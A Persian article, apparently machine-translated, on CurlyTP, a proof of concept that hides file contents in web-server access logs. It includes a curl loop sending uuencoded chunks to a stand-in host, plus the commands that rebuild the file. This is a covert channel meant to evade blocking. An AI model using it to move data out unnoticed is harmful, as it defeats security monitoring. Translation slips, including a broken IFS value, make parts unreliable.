طبق تعریف ویکیپدیا، قطره مرده یک ابزار توطئه است که برای تبادل اطلاعات یا برخی موارد بین افراد با استفاده از یک مکان مخفی کار میکند. ایده این است که مردم هرگز ملاقات نمی کنند - اما آنها همچنان اطلاعات را برای حفظ ایمنی عملیاتی رد و بدل می کنند.
محل اختفا نباید جلب توجه کند. بنابراین، در دنیای آفلاین آنها اغلب از چیزهای محتاطانه استفاده می کنند: یک آجر شل در دیوار، یک کتاب کتابخانه، یا یک توخالی در درخت.
ابزارهای رمزگذاری و ناشناس سازی زیادی در اینترنت وجود دارد، اما همین واقعیت استفاده از این ابزارها جلب توجه می کند. علاوه بر این، ممکن است در سطح شرکتی یا دولتی مسدود شوند. چه باید کرد؟
توسعه دهنده رایان فلاورز گزینه جالبی را پیشنهاد کرد -
به نظر می رسد که هر وب سرور به شما امکان می دهد تقریباً هر پیامی را در گزارش ذخیره کنید. گل ها تعجب کردند که چگونه از این استفاده کنند.
او این گزینه را ارائه می دهد:
- یک فایل متنی (پیام مخفی) بگیرید و هش (md5sum) را محاسبه کنید.
- ما آن را رمزگذاری می کنیم (gzip+uuecode).
- ما با استفاده از یک درخواست عمداً نادرست به سرور در گزارش می نویسیم.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
برای خواندن یک فایل، باید این عملیات را به ترتیب معکوس انجام دهید: فایل را رمزگشایی و از حالت فشرده خارج کنید، هش را بررسی کنید (هش را می توان با خیال راحت از طریق کانال های باز منتقل کرد).
فضاها با =+=
به طوری که هیچ فاصله ای در آدرس وجود ندارد. برنامه ای که نویسنده آن را CurlyTP می نامد، از رمزگذاری base64 مانند پیوست های ایمیل استفاده می کند. درخواست با کلمه کلیدی انجام می شود ?transfer?
به طوری که گیرنده بتواند به راحتی آن را در لاگ ها پیدا کند.
در این مورد در لاگ ها چه می بینیم؟
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
همانطور که قبلا ذکر شد، برای دریافت یک پیام مخفی باید عملیات را به ترتیب معکوس انجام دهید:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
فرآیند به راحتی به صورت خودکار انجام می شود. Md5sum مطابقت دارد و محتویات فایل تأیید می کند که همه چیز به درستی رمزگشایی شده است.
روش بسیار ساده است. هدف این تمرین فقط اثبات این است که فایلها را میتوان از طریق درخواستهای وب کوچک و بیگناه منتقل کرد و روی هر سرور وب با گزارشهای متن ساده کار میکند. در اصل، هر وب سرور یک مکان مخفی است!» می نویسد Flowers.
البته این روش تنها در صورتی کار می کند که گیرنده به گزارش های سرور دسترسی داشته باشد. اما چنین دسترسی، به عنوان مثال، توسط بسیاری از میزبان ها ارائه می شود.
چگونه از آن استفاده کنیم؟
رایان فلاورز می گوید که او یک متخصص امنیت اطلاعات نیست و لیستی از کاربردهای احتمالی CurlyTP را تهیه نخواهد کرد. برای او، این فقط یک اثبات مفهومی است که ابزارهای آشنایی که هر روز می بینیم می توانند به روشی غیر متعارف استفاده شوند.
در واقع، این روش دارای تعدادی مزیت نسبت به سایر سرورهای "پنهان" است
این یکی از راه های انتقال پیام از طریق فایل های سرویس است. شما می توانید به یاد داشته باشید که چگونه برخی از شرکت های پیشرفته قبلاً قرار می دادند
ایده این بود که فقط توسعه دهندگان وب این تخم مرغ عید پاک را ببینند، زیرا یک فرد عادی به سربرگ یا کد HTML نگاه نمی کند.
منبع: www.habr.com